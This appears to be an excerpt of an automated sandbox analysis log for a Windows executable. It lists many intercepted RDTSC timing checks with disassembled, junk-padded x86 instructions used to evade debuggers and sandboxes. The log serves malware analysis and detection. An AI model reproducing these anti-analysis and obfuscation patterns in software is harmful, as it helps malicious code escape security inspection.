Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58D016 second address: 58D031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F89084F5D90h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF17F second address: 6FF185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FF185 second address: 6FF1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007F89084F5DAFh 0x0000000b pushad 0x0000000c jmp 00007F89084F5D8Fh 0x00000011 pushad 0x00000012 popad 0x00000013 jbe 00007F89084F5D86h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jo 00007F89084F5D86h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE34A second address: 6FE34E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE34E second address: 6FE352 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE486 second address: 6FE48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE8A5 second address: 6FE8B1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE8B1 second address: 6FE8BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8908E69206h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE8BE second address: 6FE8C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7018A0 second address: 7018A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7018A6 second address: 7018E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c push edi 0x0000000d jmp 00007F89084F5D91h 0x00000012 pop edi 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 pushad 0x00000019 pushad 0x0000001a jne 00007F89084F5D86h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7018E1 second address: 701953 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8908E69210h 0x0000000a popad 0x0000000b pop eax 0x0000000c js 00007F8908E6920Ch 0x00000012 mov edx, dword ptr [ebp+122D3772h] 0x00000018 push 00000003h 0x0000001a pushad 0x0000001b mov edi, dword ptr [ebp+122D3656h] 0x00000021 jg 00007F8908E6920Ah 0x00000027 mov di, B261h 0x0000002b popad 0x0000002c push 00000000h 0x0000002e and esi, dword ptr [ebp+122D376Ah] 0x00000034 push 00000003h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F8908E69208h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000016h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 clc 0x00000051 call 00007F8908E69209h 0x00000056 push edi 0x00000057 push eax 0x00000058 push edx 0x00000059 jg 00007F8908E69206h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701953 second address: 701957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701957 second address: 70197C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a jmp 00007F8908E6920Bh 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007F8908E69208h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70197C second address: 7019AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F89084F5D8Dh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007F89084F5D91h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7019AB second address: 7019AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7019AF second address: 7019C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [ebp+12448614h] 0x0000000e add dword ptr [ebp+122D1A94h], ebx 0x00000014 push eax 0x00000015 pushad 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701A69 second address: 701B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ch, bh 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F8908E69208h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 0000001Ah 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 add dl, FFFFFFAEh 0x00000029 or dword ptr [ebp+122D18E6h], eax 0x0000002f call 00007F8908E69209h 0x00000034 jmp 00007F8908E69219h 0x00000039 push eax 0x0000003a jnl 00007F8908E69218h 0x00000040 mov eax, dword ptr [esp+04h] 0x00000044 jmp 00007F8908E69217h 0x00000049 mov eax, dword ptr [eax] 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F8908E6920Dh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 701B07 second address: 701B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D92h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007F89084F5D8Bh 0x00000012 pop eax 0x00000013 push 00000003h 0x00000015 call 00007F89084F5D8Fh 0x0000001a mov ecx, 3D18202Ch 0x0000001f pop edx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F89084F5D88h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 0000001Bh 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c jns 00007F89084F5D9Dh 0x00000042 xor edi, dword ptr [ebp+122D3205h] 0x00000048 push 00000003h 0x0000004a mov esi, 3FD0C099h 0x0000004f clc 0x00000050 push DEA3DC11h 0x00000055 push eax 0x00000056 push ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722753 second address: 72275B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72275B second address: 722792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F89084F5D96h 0x0000000d jmp 00007F89084F5D97h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F4203 second address: 6F4209 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720FE4 second address: 720FE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720FE8 second address: 72105A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F8908E69225h 0x0000000c jmp 00007F8908E6920Eh 0x00000011 jmp 00007F8908E69211h 0x00000016 jmp 00007F8908E69215h 0x0000001b jmp 00007F8908E69219h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007F8908E69212h 0x00000029 jl 00007F8908E69206h 0x0000002f jg 00007F8908E69206h 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72105A second address: 721060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721060 second address: 72106C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F8908E69206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72106C second address: 721071 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7211ED second address: 7211F7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7211F7 second address: 7211FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721634 second address: 72163F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8908E69206h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72163F second address: 72165A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F89084F5D8Fh 0x00000008 pop edx 0x00000009 jnp 00007F89084F5D8Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721783 second address: 721788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9133 second address: 6F914A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D93h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F914A second address: 6F918A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8908E69213h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8908E69212h 0x00000012 jmp 00007F8908E69213h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F918A second address: 6F91B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F89084F5D92h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F89084F5D92h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7218D2 second address: 7218D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7218D6 second address: 7218F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F89084F5D96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7218F6 second address: 7218FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7218FA second address: 721909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F89084F5D86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721909 second address: 72190F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72190F second address: 72192F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b jmp 00007F89084F5D90h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72192F second address: 721933 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721933 second address: 721946 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Dh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721946 second address: 72194E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72194E second address: 721952 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721952 second address: 721973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8908E69219h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 721EEF second address: 721EF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7225D8 second address: 7225DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7225DC second address: 7225E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F76C8 second address: 6F76CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D82 second address: 727D87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727D87 second address: 727DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F8908E69211h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F8908E6920Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727DB2 second address: 727DED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F89084F5D8Bh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 jp 00007F89084F5D9Dh 0x00000016 jmp 00007F89084F5D97h 0x0000001b ja 00007F89084F5D8Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726D63 second address: 726D9D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8908E69217h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F8908E69212h 0x00000012 pushad 0x00000013 jng 00007F8908E69206h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C150 second address: 72C15A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C15A second address: 72C184 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8908E6921Fh 0x00000008 jmp 00007F8908E69219h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C184 second address: 72C18A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C2FD second address: 72C301 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C301 second address: 72C316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F89084F5D86h 0x0000000d je 00007F89084F5D86h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72C614 second address: 72C618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E59C second address: 72E5A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E690 second address: 72E6C8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push edx 0x0000000b jnc 00007F8908E69217h 0x00000011 jmp 00007F8908E69211h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xor di, CED0h 0x0000001d push 77C02ACDh 0x00000022 push eax 0x00000023 push edx 0x00000024 jg 00007F8908E69208h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EBD9 second address: 72EC01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F89084F5D86h 0x00000009 jng 00007F89084F5D86h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F89084F5D93h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72ED9C second address: 72EDB0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EDB0 second address: 72EDBA instructions: 0x00000000 rdtsc 0x00000002 jne 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F2A4 second address: 72F2AE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F352 second address: 72F373 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F89084F5D8Ch 0x00000008 jng 00007F89084F5D86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], ebx 0x00000013 add esi, dword ptr [ebp+122D365Ah] 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push esi 0x0000001e pop esi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F373 second address: 72F378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F378 second address: 72F382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F89084F5D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F4EC second address: 72F4F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F64D second address: 72F651 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F930 second address: 72F934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F934 second address: 72F93A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F93A second address: 72F95E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8908E6920Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8908E6920Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F95E second address: 72F964 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE28 second address: 72FEC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jl 00007F8908E6920Eh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F8908E69208h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000016h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c jc 00007F8908E69206h 0x00000032 jmp 00007F8908E6920Ah 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push esi 0x0000003c call 00007F8908E69208h 0x00000041 pop esi 0x00000042 mov dword ptr [esp+04h], esi 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc esi 0x0000004f push esi 0x00000050 ret 0x00000051 pop esi 0x00000052 ret 0x00000053 push 00000000h 0x00000055 jmp 00007F8908E69215h 0x0000005a xchg eax, ebx 0x0000005b push eax 0x0000005c push edx 0x0000005d ja 00007F8908E69218h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7318E6 second address: 73196D instructions: 0x00000000 rdtsc 0x00000002 je 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007F89084F5D88h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1ABCh], eax 0x0000002c mov esi, dword ptr [ebp+122D1BB7h] 0x00000032 push 00000000h 0x00000034 clc 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007F89084F5D88h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 0000001Bh 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 jmp 00007F89084F5D8Dh 0x00000056 xchg eax, ebx 0x00000057 jmp 00007F89084F5D8Eh 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73196D second address: 731973 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731973 second address: 73197D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F89084F5D8Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73351C second address: 733520 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7321AE second address: 7321CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F89084F5D99h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
